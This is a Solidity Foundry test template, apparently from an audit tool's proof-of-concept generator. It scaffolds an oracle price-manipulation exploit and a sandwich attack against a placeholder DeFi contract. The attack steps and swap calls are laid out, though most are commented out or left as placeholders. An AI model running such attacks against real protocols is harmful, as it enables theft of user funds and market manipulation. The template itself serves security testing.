// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

// {{CUSTOM_IMPORTS}}

/**
 * @title {{CONTRACT_NAME}} Oracle Manipulation Exploit PoC
 * @notice Proof of Concept for oracle manipulation vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: {{DESCRIPTION}}
 * Severity: {{SEVERITY}}
 * Target Function: {{TARGET_FUNCTION}}
 * Generated: {{TIMESTAMP}}
 *
 * Attack Vector:
 * 1. Attacker identifies oracle price source
 * 2. Manipulates price through large trades or flash loans
 * 3. Exploits manipulated price in target contract
 * 4. Profits from artificially moved prices
 */
contract {{CONTRACT_NAME}}OracleTest is Test {
    // DEX interface for price manipulation
    interface IUniswapV2Router {
        function swapExactTokensForTokens(
            uint256 amountIn,
            uint256 amountOutMin,
            address[] calldata path,
            address to,
            uint256 deadline
        ) external returns (uint256[] memory amounts);

        function getAmountsOut(
            uint256 amountIn,
            address[] calldata path
        ) external view returns (uint256[] memory amounts);
    }

    interface IUniswapV2Pair {
        function getReserves() external view returns (uint112, uint112, uint32);
        function sync() external;
    }

    // Target contract interface
    interface IVulnerable {
        function {{TARGET_FUNCTION}}(uint256 amount) external;
        function getPrice() external view returns (uint256);
        function oracle() external view returns (address);
    }

    // Token interface
    interface IERC20 {
        function balanceOf(address) external view returns (uint256);
        function transfer(address, uint256) external returns (bool);
        function approve(address, uint256) external returns (bool);
    }

    // Contracts
    IVulnerable public target;
    IUniswapV2Router public router;
    IUniswapV2Pair public pair;
    IERC20 public tokenA;
    IERC20 public tokenB;

    // Addresses
    address public attacker;

    // Attack parameters
    uint256 constant MANIPULATION_AMOUNT = 100_000 ether;

    function setUp() public {
        attacker = makeAddr("attacker");
        vm.deal(attacker, {{ATTACKER_BALANCE}});

        // {{FORK_CONFIG}}

        // Setup router (Uniswap V2)
        // router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        // {{CUSTOM_SETUP}}

        console.log("=== Setup Complete ===");
    }

    function test_exploit_oracle_manipulation() public {
        console.log("\n=== Starting Oracle Manipulation Attack ===");

        // Get initial price
        uint256 priceBefore = target.getPrice();
        console.log("Oracle price before:", priceBefore);

        uint256 attackerBalanceBefore = tokenB.balanceOf(attacker);
        console.log("Attacker balance before:", attackerBalanceBefore);

        vm.startPrank(attacker);

        // Step 1: Approve tokens for router
        tokenA.approve(address(router), type(uint256).max);
        tokenB.approve(address(router), type(uint256).max);

        // Step 2: Execute large swap to move price
        address[] memory path = new address[](2);
        path[0] = address(tokenA);
        path[1] = address(tokenB);

        console.log("Executing price manipulation swap...");
        // router.swapExactTokensForTokens(
        //     MANIPULATION_AMOUNT,
        //     0,
        //     path,
        //     attacker,
        //     block.timestamp + 1
        // );

        // Step 3: Check manipulated price
        uint256 priceAfterManipulation = target.getPrice();
        console.log("Oracle price after manipulation:", priceAfterManipulation);

        // Step 4: Exploit target with manipulated price
        // target.{{TARGET_FUNCTION}}(amount);

        // Step 5: Swap back to restore price (optional)
        // ...

        vm.stopPrank();

        uint256 attackerBalanceAfter = tokenB.balanceOf(attacker);

        console.log("\n=== Attack Complete ===");
        console.log("Attacker balance after:", attackerBalanceAfter);

        if (attackerBalanceAfter > attackerBalanceBefore) {
            console.log("PROFIT:", attackerBalanceAfter - attackerBalanceBefore);
        }

        // Verify price was moved
        assertNotEq(priceBefore, priceAfterManipulation, "Price should have changed");
    }

    function test_spot_price_vs_twap() public {
        console.log("\n=== Comparing Spot Price vs TWAP ===");

        // Get spot price (vulnerable)
        uint256 spotPrice = target.getPrice();
        console.log("Spot price:", spotPrice);

        // Simulate TWAP (time-weighted average price)
        // This would require multiple blocks...

        // Many protocols vulnerable to spot price manipulation
        // should use TWAP instead
    }

    function test_sandwich_attack() public {
        console.log("\n=== Simulating Sandwich Attack ===");

        // A sandwich attack involves:
        // 1. Front-run victim's transaction
        // 2. Victim's transaction executes at worse price
        // 3. Back-run to profit

        vm.startPrank(attacker);

        // Front-run: Buy tokens to move price up
        address[] memory buyPath = new address[](2);
        buyPath[0] = address(tokenA);
        buyPath[1] = address(tokenB);

        // router.swapExactTokensForTokens(
        //     MANIPULATION_AMOUNT,
        //     0,
        //     buyPath,
        //     attacker,
        //     block.timestamp + 1
        // );

        vm.stopPrank();

        // Victim's transaction would execute here at inflated price
        console.log("Victim transaction would execute at worse price");

        vm.startPrank(attacker);

        // Back-run: Sell tokens at inflated price
        address[] memory sellPath = new address[](2);
        sellPath[0] = address(tokenB);
        sellPath[1] = address(tokenA);

        // router.swapExactTokensForTokens(
        //     tokenB.balanceOf(attacker),
        //     0,
        //     sellPath,
        //     attacker,
        //     block.timestamp + 1
        // );

        vm.stopPrank();
    }
}
